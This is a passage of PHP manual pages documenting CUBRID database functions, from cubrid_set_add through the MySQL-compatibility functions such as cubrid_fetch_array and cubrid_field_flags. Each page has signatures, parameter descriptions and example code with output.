@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_set_add($conn, $oid, "b", "4");

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
array(4) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
  [3]=>
  string(1) "4"
}

See Also

  • cubrid_seq_drop() - Delete an element from sequence type column using OID

User Contributed Notes

There are no user contributed notes for this page.
cubrid_seq_put
cubrid_set_autocommit
CUBRID Functions


Set autocommit mode of the connection

cubrid_set_add
cubrid_set_db_parameter
CUBRID Functions
PHP Manual

cubrid_set_autocommit

(PECL CUBRID >= 8.4.0)

cubrid_set_autocommit — Set autocommit mode of the connection

Description

bool cubrid_set_autocommit ( resource $conn_identifier , bool $mode )

The cubrid_set_autocommit() function is used to set the CUBRID database auto-commit mode of the current database connection.

In CUBRID PHP, an auto-commit mode is disabled by default for transaction management. When auto-commit mode is truned from off to on, any pending work is automatically committed.

Parameters

conn_identifier

Connection identifier.

mode

Auto-commit mode. The following constants can be used:

  • CUBRID_AUTOCOMMIT_FALSE
  • CUBRID_AUTOCOMMIT_TRUE

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

See Also

  • cubrid_get_autocommit() - Get auto-commit mode of the connection
  • cubrid_commit() - Commit a transaction

User Contributed Notes

There are no user contributed notes for this page.
cubrid_set_add
cubrid_set_db_parameter
CUBRID Functions


Sets the CUBRID database parameters

cubrid_set_autocommit
cubrid_set_drop
CUBRID Functions
PHP Manual

cubrid_set_db_parameter

(PECL CUBRID >= 8.4.0)

cubrid_set_db_parameter — Sets the CUBRID database parameters

Description

bool cubrid_set_db_parameter ( resource $conn_identifier , int $param_type , int $param_value )

The cubrid_set_db_parameter() function is used to set the CUBRID database parameters. It can set the following CUBRID database parameters:

  • PARAM_ISOLATION_LEVEL
  • PARAM_LOCK_TIMEOUT

Note:

The auto-commit mode can be set by using cubrid_set_autocommit().

Parameters

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last link opened by cubrid_connect() is assumed.

param_type

Database parameter type.

param_value

Isolation level value (1-6) or lock timeout (in seconds) value.

Return Values

TRUE on success.

FALSE on failure.

Examples

Example #1 cubrid_get_db_parameter() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$params = cubrid_get_db_parameter($conn);
var_dump($params);

cubrid_set_autocommit($conn, CUBRID_AUTOCOMMIT_TRUE);
cubrid_set_db_parameter($conn, CUBRID_PARAM_ISOLATION_LEVEL, 2);

$params_new = cubrid_get_db_parameter($conn);
var_dump($params_new);

cubrid_disconnect($conn);
?>

The above example will output:

array(4) {
  ["PARAM_ISOLATION_LEVEL"]=>
  int(3)
  ["PARAM_LOCK_TIMEOUT"]=>
  int(-1)
  ["PARAM_MAX_STRING_LENGTH"]=>
  int(1073741823)
  ["PARAM_AUTO_COMMIT"]=>
  int(0)
}
array(4) {
  ["PARAM_ISOLATION_LEVEL"]=>
  int(2)
  ["PARAM_LOCK_TIMEOUT"]=>
  int(-1)
  ["PARAM_MAX_STRING_LENGTH"]=>
  int(1073741823)
  ["PARAM_AUTO_COMMIT"]=>
  int(1)
}

See Also

  • cubrid_get_db_parameter() - Returns the CUBRID database parameters
  • cubrid_set_autocommit() - Set autocommit mode of the connection

User Contributed Notes

There are no user contributed notes for this page.
cubrid_set_autocommit
cubrid_set_drop
CUBRID Functions


Delete an element from set type column using OID

cubrid_set_db_parameter
cubrid_set_query_timeout
CUBRID Functions
PHP Manual

cubrid_set_drop

(PECL CUBRID >= 8.3.0)

cubrid_set_drop — Delete an element from set type column using OID

Description

bool cubrid_set_drop ( resource $conn_identifier , string $oid , string $attr_name , string $set_element )

The cubrid_set_drop() function is used to delete an element that you request from the given set type (set, multiset) attribute of the database.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance you want to work with.

attr_name

Name of the attribute you want to delete an element from.

set_element

Content of the element you want to delete.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_set_drop() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_set_drop($conn, $oid, "b", "1");

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(1) "3"
}

See Also

  • cubrid_set_add() - Insert a single element to set type column using OID

User Contributed Notes

There are no user contributed notes for this page.
cubrid_set_db_parameter
cubrid_set_query_timeout
CUBRID Functions


Set the timeout time of query execution

cubrid_set_drop
cubrid_version
CUBRID Functions
PHP Manual

cubrid_set_query_timeout

(PECL CUBRID >= 8.4.1)

cubrid_set_query_timeout — Set the timeout time of query execution

Description

bool cubrid_set_autocommit ( resource $req_identifier , int $timeout )

The cubrid_set_query_timeout() function is used to set the timeout time of query execution.

Parameters

req_identifier

Request identifier.

timeout

Timeout time, unit of msec.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

See Also

  • cubrid_get_query_timeout() - Get the query timeout value of the request

User Contributed Notes

There are no user contributed notes for this page.
cubrid_set_drop
cubrid_version
CUBRID Functions


Get the CUBRID PHP module's version

cubrid_set_query_timeout
CUBRID MySQL Compatibility Functions
CUBRID Functions
PHP Manual

cubrid_version

(PECL CUBRID >= 8.3.0)

cubrid_version — Get the CUBRID PHP module's version

Description

string cubrid_version ( void )

The cubrid_version() function is used to get the CUBRID PHP module's version.

Parameters

This function has no parameters.

Return Values

Version information (eg. "8.3.1.0001").

Examples

Example #1 cubrid_version() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33088, "demodb");

if (!$conn) {
    die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
    printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);

?>

The above example will output:

CUBRID PHP Version:            8.3.1.0005

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              0

Server Info:                   8.3.1.0173
Client Info:                   8.3.1

CUBRID Charset:                iso8859-1

See Also

  • cubrid_error_code() - Get error code for the most recent function call
  • cubrid_error_code_facility() - Get the facility code of error

User Contributed Notes

There are no user contributed notes for this page.
cubrid_set_query_timeout
CUBRID MySQL Compatibility Functions
CUBRID Functions


CUBRID MySQL Compatibility Functions

Table of Contents

  • cubrid_client_encoding — Return the current CUBRID connection charset
  • cubrid_close — Close CUBRID connection
  • cubrid_data_seek — Move the internal row pointer of the CUBRID result
  • cubrid_db_name — Get db name from results of cubrid_list_dbs
  • cubrid_errno — Return the numerical value of the error message from previous CUBRID operation
  • cubrid_error — Get the error message
  • cubrid_fetch_array — Fetch a result row as an associative array, a numeric array, or both
  • cubrid_fetch_assoc — Return the associative array that corresponds to the fetched row
  • cubrid_fetch_field — Get column information from a result and return as an object
  • cubrid_fetch_lengths — Return an array with the lengths of the values of each field from the current row
  • cubrid_fetch_object — Fetche the next row and returns it as an object
  • cubrid_fetch_row — Return a numerical array with the values of the current row
  • cubrid_field_flags — Return a string with the flags of the given field offset
  • cubrid_field_len — Get the maximum length of the specified field
  • cubrid_field_name — Return the name of the specified field index
  • cubrid_field_seek — Move the result set cursor to the specified field offset
  • cubrid_field_table — Return the name of the table of the specified field
  • cubrid_field_type — Return the type of the column corresponding to the given field offset
  • cubrid_list_dbs — Return an array with the list of all existing CUBRID databases
  • cubrid_num_fields — Return the number of columns in the result set
  • cubrid_ping — Ping a server connection or reconnect if there is no connection
  • cubrid_query — Send a CUBRID query
  • cubrid_real_escape_string — Escape special characters in a string for use in an SQL statement
  • cubrid_result — Return the value of a specific field in a specific row
  • cubrid_unbuffered_query — Perform a query without fetching the results into memory

User Contributed Notes

There are no user contributed notes for this page.
cubrid_version
cubrid_client_encoding
CUBRID


Return the current CUBRID connection charset

CUBRID MySQL Compatibility Functions
cubrid_close
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_client_encoding

(PECL CUBRID >= 8.3.1)

cubrid_client_encoding — Return the current CUBRID connection charset

Description

string cubrid_client_encoding ([ resource $conn_identifier ] )

This function returns the current CUBRID connection charset and is similar to the CUBRID function cubrid_get_charset().

Parameters

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last link opened by cubrid_connect() is assumed.

Return Values

A string that represents the CUBRID connection charset; on success.

FALSE on failure.

Examples

Example #1 cubrid_client_encoding() example

<?php

$con = cubrid_connect("localhost", 33000, "demodb");
if (!$con)
{
    die('Could not connect.');
}

printf("CUBRID current charset: %s\n", cubrid_client_encoding($con));

?>

The above example will output:

CUBRID current charset: iso8859-1

See Also

  • cubrid_get_charset() - Return the current CUBRID connection charset

User Contributed Notes

There are no user contributed notes for this page.
CUBRID MySQL Compatibility Functions
cubrid_close
CUBRID MySQL Compatibility Functions


Close CUBRID connection

cubrid_client_encoding
cubrid_data_seek
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_close

(PECL CUBRID >= 8.3.1)

cubrid_close — Close CUBRID connection

Description

bool cubrid_close ([ resource $conn_identifier ] )

The cubrid_close() function ends the transaction currently on process, closes the connection handle and disconnects from server. If there exists any request handle not closed yet at this point, it will be closed. It is similar to the CUBRID function cubrid_disconnect().

Parameters

conn_identifier

The CUBRID connection identifier. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_close() example

<?php
$con = cubrid_connect ("210.211.133.100", 12345, "demodb");
if ($con) {
   echo "connected successfully";
   $req = cubrid_execute ( $con, "insert into person values(1,'James')");
   if ($req) {
      cubrid_close_request ($req);
      cubrid_commit ($con);
   } else {
      cubrid_rollback ($con);
   }
   cubrid_close ($con);
}
?>

See Also

  • cubrid_disconnect() - Close a database connection
  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_connect_with_url() - Establish the environment for connecting to CUBRID server

User Contributed Notes

There are no user contributed notes for this page.
cubrid_client_encoding
cubrid_data_seek
CUBRID MySQL Compatibility Functions


Move the internal row pointer of the CUBRID result

cubrid_close
cubrid_db_name
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_data_seek

(PECL CUBRID >= 8.3.0)

cubrid_data_seek — Move the internal row pointer of the CUBRID result

Description

int cubrid_data_seek ( resource $result , int $row_number )

This function performs the moving of the internal row pointer of the CUBRID result (associated with the specified result identifier) to point to a specific row number. There are functions, such as cubrid_fetch_assoc(), which use the current stored value of row number.

Parameters

result

The result.

row_number

This is the desired row number of the new result pointer.

Return Values

CUBRID_CURSOR_SUCCESS, on success.

CUBRID_NO_MORE_DATA, when it is not a valid cursor location.

FALSE on CAS error, row count is 0, or invalid offset.

Examples

Example #1 cubrid_data_seek() example

<?php
$conn = cubrid_connect("127.0.0.1", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM code");
cubrid_data_seek($req, 0);

$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_data_seek($req, 2);
$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_data_seek($req, 4);
$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(2) {
  [0]=>
  string(1) "X"
  [1]=>
  string(5) "Mixed"
}
array(2) {
  [0]=>
  string(1) "M"
  [1]=>
  string(3) "Man"
}
array(2) {
  [0]=>
  string(1) "S"
  [1]=>
  string(6) "Silver"
}

User Contributed Notes

There are no user contributed notes for this page.
cubrid_close
cubrid_db_name
CUBRID MySQL Compatibility Functions


Get db name from results of cubrid_list_dbs

cubrid_data_seek
cubrid_errno
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_db_name

(PECL CUBRID >= 8.3.1)

cubrid_db_name — Get db name from results of cubrid_list_dbs

Description

string cubrid_db_name ( array $result , int $index )

Retrieve the database name from a call to cubrid_list_dbs().

Parameters

result

The result pointer from a call to cubrid_list_dbs().

index

The index into the result set.

Return Values

Returns the database name on success, and FALSE on failure. If FALSE is returned, use cubrid_error() to determine the nature of the error.

Examples

Example #1 cubrid_db_name() example

<?php
error_reporting(E_ALL);

$conn = cubrid_connect('dbhost', 33000, 'demodb', 'username', 'password');
$db_list = cubrid_list_dbs($conn);

$i = 0;
$cnt = cubrid_num_rows($db_list);
while ($i < $cnt) {
    echo cubrid_db_name($db_list, $i) . "\n";
    $i++;
}
?>

See Also

  • cubrid_list_dbs() - Return an array with the list of all existing CUBRID databases

User Contributed Notes

There are no user contributed notes for this page.
cubrid_data_seek
cubrid_errno
CUBRID MySQL Compatibility Functions


Return the numerical value of the error message from previous CUBRID operation

cubrid_db_name
cubrid_error
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_errno

(PECL CUBRID >= 8.3.1)

cubrid_errno — Return the numerical value of the error message from previous CUBRID operation

Description

int cubrid_errno ([ resource $conn_identifier ] )

Returns the error number from the last CUBRID function.

The cubrid_errno() function is used to get the error code of the error that occurred during the API execution. Usually, it gets the error code when API returns false as its return value.

Parameters

conn_identifier

The CUBRID connection identifier. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

Return Values

Returns the error number from the last CUBRID function, or 0 (zero) if no error occurred.

Examples

Example #1 cubrid_errno() example

<?php
$req = cubrid_execute($con, "select id, name from person");
if ($req) {
    while (list ($id, $name) = cubrid_fetch($req))
    echo $id, $name;
} else {
    echo "Error Code: ", cubrid_errno($con);
    echo "Error Message: ", cubrid_error($con);
}
?>

See Also

  • cubrid_error() - Get the error message
  • cubrid_error_code() - Get error code for the most recent function call
  • cubrid_error_msg() - Get last error message for the most recent function call

User Contributed Notes

There are no user contributed notes for this page.
cubrid_db_name
cubrid_error
CUBRID MySQL Compatibility Functions


Get the error message

cubrid_errno
cubrid_fetch_array
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_error

(PECL CUBRID >= 8.3.1)

cubrid_error — Get the error message

Description

string cubrid_error ([ resource $connection ] )

The cubrid_error() function is used to get the error message that occurred during the use of CUBRID API. Usually, it gets error message when API returns false as its return value.

Parameters

connection

Return Values

Error message that occurred.

Examples

Example #1 cubrid_error() example

<?php
$req = cubrid_execute($con, "select id, name from person");
if ($req) {
    while (list ($id, $name) = cubrid_fetch($req))
    echo $id, $name;
} else {
    echo "Error Code: ", cubrid_errno($con);
    echo "Error Message: ", cubrid_error($con);
}
?>

See Also

  • cubrid_errno() - Return the numerical value of the error message from previous CUBRID operation
  • cubrid_error_code() - Get error code for the most recent function call
  • cubrid_error_msg() - Get last error message for the most recent function call

User Contributed Notes

There are no user contributed notes for this page.
cubrid_errno
cubrid_fetch_array
CUBRID MySQL Compatibility Functions


Fetch a result row as an associative array, a numeric array, or both

cubrid_error
cubrid_fetch_assoc
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_fetch_array

(PECL CUBRID >=8.3.0)

cubrid_fetch_array — Fetch a result row as an associative array, a numeric array, or both

Description

array cubrid_fetch_array ( resource $result [, int $type = CUBRID_BOTH ] )

The cubrid_fetch_array() function is used to get a single row from the query result and returns an array. The cursor automatically moves to the next row after getting the result.

Parameters

result

Result comes from a call to cubrid_execute()

type

Array type of the fetched result CUBRID_NUM, CUBRID_ASSOC, CUBRID_BOTH.

Return Values

Returns an array of strings that corresponds to the fetched row, when process is successful.

FALSE, when there are no more rows; NULL, when process is unsuccessful.

The type of returned array depends on how type is defined. By using CUBRID_BOTH (default), you'll get an array with both associative and number indices, and you can decide which data type to use by setting the type argument. The type variable can be set to one of the following values:

  • CUBRID_NUM : Numerical array (0-based)
  • CUBRID_ASSOC : Associative array
  • CUBRID_BOTH : Numerical & Associative array (default)

Examples

Example #1 cubrid_fetch_array() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT name,area,seats,address FROM stadium WHERE nation_code='GRE' AND seats > 10000");

printf("%-40s %-10s %-6s %-20s\n", "name", "area", "seats", "address");
while ($row = cubrid_fetch_array($req, CUBRID_NUM)) {
    printf("%-40s %-10s %-6s %-20s\n", $row[0], $row[1], $row[2], $row[3]);
}

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

The above example will output:

name                                     area       seats  address
Panathinaiko Stadium                     86300.00   50000  Athens, Greece
Olympic Stadium                          54700.00   13000  Athens, Greece
Olympic Indoor Hall                      34100.00   18800  Athens, Greece
Olympic Hall                             52400.00   21000  Athens, Greece
Olympic Aquatic Centre                   42500.00   11500  Athens, Greece
Markopoulo Olympic Equestrian Centre     64000.00   15000  Markopoulo, Athens, Greece
Faliro Coastal Zone Olympic Complex      34650.00   12171  Faliro, Athens, Greece
Athens Olympic Stadium                   120400.00  71030  Maroussi, Athens, Greece
Ano Liossia                              34000.00   12000  Ano Liosia, Athens, Greece

See Also

  • cubrid_execute() - Execute a prepared SQL statement

User Contributed Notes

There are no user contributed notes for this page.
cubrid_error
cubrid_fetch_assoc
CUBRID MySQL Compatibility Functions


Return the associative array that corresponds to the fetched row

cubrid_fetch_array
cubrid_fetch_field
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_fetch_assoc

(PECL CUBRID >= 8.3.0)

cubrid_fetch_assoc — Return the associative array that corresponds to the fetched row

Description

array cubrid_fetch_assoc ( resource $result )

This function returns the associative array, that corresponds to the fetched row, and then moves the internal data pointer ahead, or returns FALSE when the end is reached.

Parameters

result

result comes from a call to cubrid_execute()

Return Values

Associative array, when process is successful.

FALSE, when there are no more rows; NULL, when process is unsuccessful.

Examples

Example #1 cubrid_fetch_assoc() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT name,area,seats,address FROM stadium WHERE nation_code='GRE' AND seats > 10000");

printf("%-40s %-10s %-6s %-20s\n", "name", "area", "seats", "address");
while ($row = cubrid_fetch_assoc($req)) {
    printf("%-40s %-10s %-6s %-20s\n",
        $row["name"], $row["area"], $row["seats"], $row["address"]);
}

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

The above example will output:

name                                     area       seats  address
Panathinaiko Stadium                     86300.00   50000  Athens, Greece
Olympic Stadium                          54700.00   13000  Athens, Greece
Olympic Indoor Hall                      34100.00   18800  Athens, Greece
Olympic Hall                             52400.00   21000  Athens, Greece
Olympic Aquatic Centre                   42500.00   11500  Athens, Greece
Markopoulo Olympic Equestrian Centre     64000.00   15000  Markopoulo, Athens, Greece
Faliro Coastal Zone Olympic Complex      34650.00   12171  Faliro, Athens, Greece
Athens Olympic Stadium                   120400.00  71030  Maroussi, Athens, Greece
Ano Liossia                              34000.00   12000  Ano Liosia, Athens, Greece

User Contributed Notes

There are no user contributed notes for this page.
cubrid_fetch_array
cubrid_fetch_field
CUBRID MySQL Compatibility Functions


Get column information from a result and return as an object

cubrid_fetch_assoc
cubrid_fetch_lengths
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_fetch_field

(PECL CUBRID >= 8.3.1)

cubrid_fetch_field — Get column information from a result and return as an object

Description

object cubrid_fetch_field ( resource $result [, int $field_offset = 0 ] )

This function returns an object with certain properties of the specific column. The properties of the object are:

name

column name

table

name of the table that the column belongs to

def

default value of the column

max_length

maximum length of the column

not_null

1 if the column cannot be NULL

primary_key

1 if the column is a primary key

unique_key

1 if the column is an unique key

multiple_key

1 if the column is a non-unique key

numeric

1 if the column is numeric

blob

1 if the column is a BLOB

type

the type of the column

unsigned

1 if the column is unsigned

zerofill

1 if the column is zero-filled

Parameters

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. If the field offset is not specified, the next field (that was not yet retrieved by this function) is retrieved. The field_offset starts at 0.

Return Values

Object with certain properties of the specific column, when process is successful.

FALSE on failure.

Examples

Example #1 cubrid_fetch_field() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT event_code,athlete_code,nation_code,game_date FROM game WHERE host_year=1988 and event_code=20001;");

var_dump(cubrid_fetch_row($req));

cubrid_field_seek($req, 1);
$field = cubrid_fetch_field($req);

printf("\n--- Field Properties ---\n");
printf("%-30s %s\n", "name:", $field->name);
printf("%-30s %s\n", "table:", $field->table);
printf("%-30s \"%s\"\n", "default value:", $field->def);
printf("%-30s %d\n", "max lenght:", $field->max_length);
printf("%-30s %d\n", "not null:", $field->not_null);
printf("%-30s %d\n", "primary key:", $field->primary_key);
printf("%-30s %d\n", "unique key:", $field->unique_key);
printf("%-30s %d\n", "multiple key:", $field->multiple_key);
printf("%-30s %d\n", "numeric:", $field->numeric);
printf("%-30s %d\n", "blob:", $field->blob);
printf("%-30s %s\n", "type:", $field->type);
printf("%-30s %d\n", "unsigned:", $field->unsigned);
printf("%-30s %d\n", "zerofill:", $field->zerofill);

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

The above example will output:

array(4) {
  [0]=>
  string(5) "20001"
  [1]=>
  string(5) "16681"
  [2]=>
  string(3) "KOR"
  [3]=>
  string(9) "1988-9-30"
}

--- Field Properties ---
name:                          athlete_code
table:                         game
default value:                 ""
max lenght:                    5
not null:                      1
primary key:                   1
unique key:                    1
multiple key:                  0
numeric:                       1
blob:                          0
type:                          integer
unsigned:                      0
zerofill:                      0

User Contributed Notes

There are no user contributed notes for this page.
cubrid_fetch_assoc
cubrid_fetch_lengths
CUBRID MySQL Compatibility Functions


Return an array with the lengths of the values of each field from the current row

cubrid_fetch_field
cubrid_fetch_object
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_fetch_lengths

(PECL CUBRID >= 8.3.0)

cubrid_fetch_lengths — Return an array with the lengths of the values of each field from the current row

Description

array cubrid_fetch_lengths ( resource $result )

This function returns an numeric array with the lengths of the values of each field from the current row of the result set or it returns FALSE on failure.

Note:

If field data type is BLOB/CLOB, you should get its length by using cubrid_lob_size().

Parameters

result

result comes from a call to cubrid_execute()

Return Values

An numeric array, when process is successful.

FALSE on failure.

Examples

Example #1 cubrid_fetch_lengths() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$row = cubrid_fetch_row($result);
print_r($row);

$lens = cubrid_fetch_lengths($result);
print_r($lens);

cubrid_disconnect($conn);
?>

The above example will output:

Array
(
    [0] => 2004
    [1] => 20085
    [2] => 15118
    [3] => 30134
    [4] => AUS
    [5] => G
    [6] => 2004-8-20
)
Array
(
    [0] => 4
    [1] => 5
    [2] => 5
    [3] => 5
    [4] => 3
    [5] => 1
    [6] => 9
)

User Contributed Notes

There are no user contributed notes for this page.
cubrid_fetch_field
cubrid_fetch_object
CUBRID MySQL Compatibility Functions


Fetche the next row and returns it as an object

cubrid_fetch_lengths
cubrid_fetch_row
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_fetch_object

(PECL CUBRID >= 8.3.0)

cubrid_fetch_object — Fetche the next row and returns it as an object

Description

object cubrid_fetch_object ( resource $result [, string $class_name [, array $params ]] )

This function returns an object with the column names of the result set as properties. The values of these properties are extracted from the current row of the result.

Parameters

result

result comes from a call to cubrid_execute()

class_name

The name of the class to instantiate. If not specified, a stdClass (stdClass is PHP's generic empty class that's used when casting other types to objects) object is returned.

params

An optional array of parameters to pass to the constructor for class_name objects.

Return Values

An object, when process is successful.

FALSE, when there are no more rows; NULL, when process is unsuccessful.

Examples

Example #1 cubrid_fetch_object() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$res = cubrid_execute($conn, "SELECT * FROM code");

var_dump(cubrid_fetch_object($res));

class demodb_code {
    public $s_name = null;
    public $f_name = null;

    public function toString() {
        var_dump($this);
    }
}

var_dump(cubrid_fetch_object($res, "demodb_code"));

class demodb_code_construct extends demodb_code {
    public function __construct($s, $f) {
        $this->s_name = $s;
        $this->f_name = $f;
    }
}

var_dump(cubrid_fetch_object($res, 'demodb_code_construct', array('s_name', 'f_name')));
var_dump(cubrid_fetch_object($res));

cubrid_close_request($res);
cubrid_disconnect($conn);
?>

The above example will output:

object(stdClass)#1 (2) {
  ["s_name"]=>
  string(1) "X"
  ["f_name"]=>
  string(5) "Mixed"
}
object(demodb_code)#1 (2) {
  ["s_name"]=>
  string(1) "W"
  ["f_name"]=>
  string(5) "Woman"
}
object(demodb_code_construct)#1 (2) {
  ["s_name"]=>
  string(6) "s_name"
  ["f_name"]=>
  string(6) "f_name"
}
object(stdClass)#1 (2) {
  ["s_name"]=>
  string(1) "B"
  ["f_name"]=>
  string(6) "Bronze"
}

User Contributed Notes

There are no user contributed notes for this page.
cubrid_fetch_lengths
cubrid_fetch_row
CUBRID MySQL Compatibility Functions


Return a numerical array with the values of the current row

cubrid_fetch_object
cubrid_field_flags
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_fetch_row

(PECL CUBRID >= 8.3.0)

cubrid_fetch_row — Return a numerical array with the values of the current row

Description

array cubrid_fetch_row ( resource $result )

This function returns a numerical array with the values of the current row from the result set, starting from 0, and moves the internal data pointer ahead.

Parameters

result

result comes from a call to cubrid_execute()

Return Values

A numerical array, when process is successful.

FALSE, when there are no more rows; NULL, when process is unsuccessful.

Examples

Example #1 cubrid_fetch_row() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT name,area,seats,address FROM stadium WHERE nation_code='GRE' AND seats > 10000");

printf("%-40s %-10s %-6s %-20s\n", "name", "area", "seats", "address");
while ($row = cubrid_fetch_row($req)) {
    printf("%-40s %-10s %-6s %-20s\n", $row[0], $row[1], $row[2], $row[3]);
}

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

The above example will output:

name                                     area       seats  address
Panathinaiko Stadium                     86300.00   50000  Athens, Greece
Olympic Stadium                          54700.00   13000  Athens, Greece
Olympic Indoor Hall                      34100.00   18800  Athens, Greece
Olympic Hall                             52400.00   21000  Athens, Greece
Olympic Aquatic Centre                   42500.00   11500  Athens, Greece
Markopoulo Olympic Equestrian Centre     64000.00   15000  Markopoulo, Athens, Greece
Faliro Coastal Zone Olympic Complex      34650.00   12171  Faliro, Athens, Greece
Athens Olympic Stadium                   120400.00  71030  Maroussi, Athens, Greece
Ano Liossia                              34000.00   12000  Ano Liosia, Athens, Greece

User Contributed Notes

There are no user contributed notes for this page.
cubrid_fetch_object
cubrid_field_flags
CUBRID MySQL Compatibility Functions


Return a string with the flags of the given field offset

cubrid_fetch_row
cubrid_field_len
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_field_flags

(PECL CUBRID >= 8.3.0)

cubrid_field_flags — Return a string with the flags of the given field offset

Description

string cubrid_field_flags ( resource $result , int $field_offset )

This function returns a string with the flags of the given field offset separated by space. You can split the returned value using explode. The possible flags could be: not_null, primary_key, unique_key, foreign_key, auto_increment, shared, reverse_index, reverse_unique and timestamp.

Parameters

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

A string with flags, when process is successful.

FALSE when invalid field_offset value.

-1 if SQL sentence is not SELECT.

Examples

Example #1 cubrid_field_flags() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$col_num = cubrid_num_cols($result);

printf("%-30s %s\n", "Field Name", "Field Flags");
for($i = 0; $i < $col_num; $i++) {
    printf("%-30s %s\n", cubrid_field_name($result, $i), cubrid_field_flags($result, $i));
}

cubrid_disconnect($conn);
?>

The above example will output:

Field Name                     Field Flags
host_year                      not_null primary_key unique_key
event_code                     not_null primary_key unique_key foreign_key
athlete_code                   not_null primary_key unique_key foreign_key
stadium_code                   not_null
nation_code
medal
game_date

User Contributed Notes

There are no user contributed notes for this page.
cubrid_fetch_row
cubrid_field_len
CUBRID MySQL Compatibility Functions


Get the maximum length of the specified field

cubrid_field_flags
cubrid_field_name
CUBRID MySQL Compatibility Functions
PHP Manual

cubrid_field_len

(PECL CUBRID >= 8.3.0)

cubrid_field_len — Get the maximum length of the specified field

Description

int cubrid_field_len ( resource $result , int $field_offset )

